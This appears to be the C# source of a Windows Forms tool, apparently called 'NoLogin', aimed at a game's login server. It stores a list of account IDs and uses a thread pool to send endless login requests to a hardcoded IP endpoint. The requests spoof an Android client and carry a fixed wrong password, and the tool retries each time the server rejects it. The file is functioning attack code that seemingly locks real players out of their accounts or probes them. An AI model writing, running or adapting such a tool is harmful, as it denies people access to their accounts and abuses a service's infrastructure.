﻿using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Main
{
    public partial class FormLoginFaile : Form
    {
        public static string LOGIN_URL = "https://47.112.102.188:9443/login";
        private int speedNum;
        private int threadNum;

        private INIFile iniFile;

        private Thread NoLoginThread;
        private bool working = false;
        private int workingCount = 0;
        private int finisedCount = 0;
        private object locker = new object();

        public FormLoginFaile()
        {
            InitializeComponent();
        }

        private void btnSearch_Click(object sender, EventArgs e)
        {
            string loginId = this.txtLoginId.Text;
            if(loginId == string.Empty)
            {
                MessageBox.Show("账号空");
                return;
            }

            SelectLogin(loginId);

        }

        private void FormLoginFaile_Load(object sender, EventArgs e)
        {

            this.cmbSpeed.SelectedIndex = 0;
            this.cmbThreadNum.SelectedIndex = 0;


            speedNum = Int32.Parse(this.cmbSpeed.Text);
            threadNum = Int32.Parse(this.cmbThreadNum.Text);

            ThreadPool.SetMinThreads(1, 1);
            ThreadPool.SetMaxThreads(threadNum, threadNum);

            iniFile = new INIFile(Application.StartupPath + @"\NoLogin.ini");
            Restore();

            this.btnStop.Enabled = true;
            this.btnStop.Enabled = false;
        }

        private void btnSave_Click(object sender, EventArgs e)
        {
            
            speedNum = Int32.Parse(this.cmbSpeed.Text);
            threadNum = Int32.Parse(this.cmbThreadNum.Text);

            MessageBox.Show("保存成功");
        }

        private void btnAdd_Click(object sender, EventArgs e)
        {
            string loginId = this.txtLoginId.Text;
            if (loginId == string.Empty)
            {
                MessageBox.Show("账号空");
                return;
            }

            if(this.listView1.Items.ContainsKey(loginId))
            {
                MessageBox.Show("账号已存在");
                return;
            }

            string datetime = DateTime.Now.ToLocalTime().ToString();
            AddListItem(loginId, datetime);
            SelectLogin(loginId);
            iniFile.WriteValue("accounts", loginId, datetime);
            this.txtLoginId.Text = "";
        }

        private void SelectLogin(string loginId)
        {

            this.listView1.Select();
            ListViewItem item = this.listView1.FindItemWithText(loginId);
            item.Selected = true;
            item.Checked = true;
            this.listView1.EnsureVisible(item.Index);
            
        }

        private void AddListItem(string loginId,string datetime)
        {
            ListViewItem item = new ListViewItem();
            item.Name = loginId;
            item.Text = loginId;

            ListViewItem.ListViewSubItem sub1 = new ListViewItem.ListViewSubItem();
            sub1.Name = "AddTime";
            sub1.Text = datetime;//"2019-03-20 18:10";

            ListViewItem.ListViewSubItem sub2 = new ListViewItem.ListViewSubItem();
            sub2.Name = "Count";
            sub2.Text = "0";
            item.SubItems.AddRange(new ListViewItem.ListViewSubItem[] { sub1, sub2 });

            listView1.Items.Add(item);
        }

        private void Restore()
        {
            string[] items = iniFile.GetAllItemKeys("accounts");
            for (int i = 0; i < items.Length; i++)
            {
                string datetime = iniFile.GetStringValue("accounts", items[i],"");
                AddListItem(items[i], datetime);
            }
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            NoLoginThread = new Thread(NoLoginThreadProc);
            NoLoginThread.IsBackground = true;
            NoLoginThread.Start();
            this.btnStart.Enabled = false;
            this.btnStop.Enabled = true;
            Log("启动成功");
        }

        private void NoLoginThreadProc()
        {
            while(true)
            {
                Thread.Sleep(1000);
                if (!working)
                {
                    ThreadPool.SetMinThreads(1, 1);
                    ThreadPool.SetMaxThreads(threadNum, threadNum);

                    string[] loginIdList = null;
                    //lock (this.listView1.Items)
                    //{
                    this.Invoke(new Action(() => {
                        loginIdList = new string[this.listView1.Items.Count];
                        for (int i = 0; i < this.listView1.Items.Count; i++)
                        {
                            loginIdList[i] = this.listView1.Items[i].Name;
                        }
                    }));
                    lock(locker)
                    {
                        workingCount = loginIdList.Length;
                    }

                    if(workingCount > 0)
                    {
                        working = true;
                        //}
                        if (loginIdList != null && loginIdList.Length > 0)
                        {
                            for (int i = 0; i < loginIdList.Length; i++)
                            {
                                ThreadPool.QueueUserWorkItem(new WaitCallback(TaskProc), loginIdList[i]);
                                Thread.Sleep(100);
                            }
                        }
                    }

                    //Thread.Sleep(100);
                    
                }
            }
            
        }


        private void SetItemBackground(string loginId,Color color)
        {
            this.Invoke(new Action(() => {
                ListViewItem item = listView1.FindItemWithText(loginId);
                if(item != null)
                {
                    item.BackColor = color;
                }
            }));
        }

        private void TaskProc(object o)
        {

            Thread.Sleep(speedNum);
            if (!working)
            {
                return;
            }

            int id = Thread.CurrentThread.ManagedThreadId;
            string loginId = (string)o;
            SetItemBackground(loginId, Color.SkyBlue);
            while (true)
            {
                IDictionary<string, string> parameters = new Dictionary<string, string>();
                parameters.Add("uuid", "b16996875521062ec3ef18a11f3018c0_11");//b16996875521062ec3ef18a11f3018c0_11
                parameters.Add("uiid", "211");
                parameters.Add("packageId", "2110003");
                parameters.Add("checkCode", "O38rqvRCzLn5j");//O38rqvRCzLn5j
                parameters.Add("playerType", "0");
                parameters.Add("clientType", "2");
                parameters.Add("version", "2.0.5");
                parameters.Add("network", "1");
                parameters.Add("loginType", "1");
                parameters.Add("account", loginId + "_11");
                parameters.Add("loginPass", CryptUtil.CreateMD5Hash("#9527").ToLower());
                parameters.Add("pid", "11");
                //System.Web.HttpUtility.UrlEncode
                parameters.Add("deviceVersion", "Android OS 5.1.1 / API-22 (ID/8.4.19)");

                while(true)
                {
                    HttpWebResponse response = HttpRequest.CreatePostHttpResponse(LOGIN_URL, parameters, Encoding.Default);

                    if (response.StatusCode != HttpStatusCode.OK)
                    {
                        //请求失败
                        this.Invoke(new Action(() =>
                        {
                            Log("[线程" + id + "] 处理:" + loginId + " HTTP CODE：" + response.StatusCode);
                        }));
                        break;
                    }


                    string serverResult = string.Empty;
                    using (Stream responseStream = response.GetResponseStream())
                    {
                        using (StreamReader sread = new StreamReader(responseStream))
                        {
                            serverResult = sread.ReadToEnd();
                        }
                    }
                    serverResult = serverResult.Trim();

                    this.Invoke(new Action(() =>
                    {
                        Log("[线程"+ id + "]服务器:" + serverResult + " " + loginId);
                    }));


                    if (serverResult == string.Empty)
                    {
                        //响应内容空
                        //请求失败
                        this.Invoke(new Action(() =>
                        {
                            Log("[线程"+ id + "] 处理:" + loginId + " 响应内容空");
                        }));
                        break;
                    }


                    HuanLe.JinDiServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.JinDiServerResult>(serverResult);
                    if(resultObj.result == 0 && resultObj.msg.Contains("密码不正确"))
                    {
                        if(!working)
                        {
                            return;
                        }

                        Thread.Sleep(1000);
                        continue;
                    }

                    //如果检测到真正的密码，终止while
                    if (resultObj.isSuccess())
                    {
                        this.Invoke(new Action(() =>
                        {
                            //Log("成功获取验证码 账号:" + account.LoginId + " 验证码:" + nextLine);
                            Log("登录成功 账号:" + loginId);
                            //复制item到结果列表里
                        }));
                        
                    }
                    break;
                }

                
                break;
            }

            SetItemBackground(loginId, Color.White);
            lock (locker)
            {
                finisedCount++;
                if(finisedCount >= workingCount)
                {
                    working = false;
                    workingCount = 0;
                    finisedCount = 0;
                }
            }
            
        }


        private void btnStop_Click(object sender, EventArgs e)
        {
            if(NoLoginThread != null && NoLoginThread.IsAlive)
            {
                NoLoginThread.Abort();
            }

            this.btnStart.Enabled = true;
            this.btnStop.Enabled = false;
            working = false;
            Log("关闭成功");
        }

        private void Log(string str)
        {
            this.Invoke(new Action(()=> {
                if (this.txtLog.Lines.Length > 5000)
                {
                    this.txtLog.Clear();
                }
                DateTime dt = System.DateTime.Now;
                StringBuilder sb = new StringBuilder();
                sb.Append("[");
                sb.Append(dt.ToString("t"));
                sb.Append("]");
                sb.Append(" ");
                sb.Append(str);
                sb.Append("\r\n");
                this.txtLog.AppendText(sb.ToString());
            }));
            
        }

        private void 删除账号ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if(working)
            {
                MessageBox.Show("工作中，无法删除");
                return;
            }
            if(this.listView1.SelectedItems.Count > 0)
            {
                ListViewItem item = this.listView1.SelectedItems[0];
                this.listView1.Items.Remove(item);
                iniFile.DeleteKey("accounts", item.Name);
                Log("删除"+item.Name);
            }
            
        }

        private void 清空ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            this.txtLog.Clear();
        }

        private void txtLog_TextChanged(object sender, EventArgs e)
        {

        }
    }
}
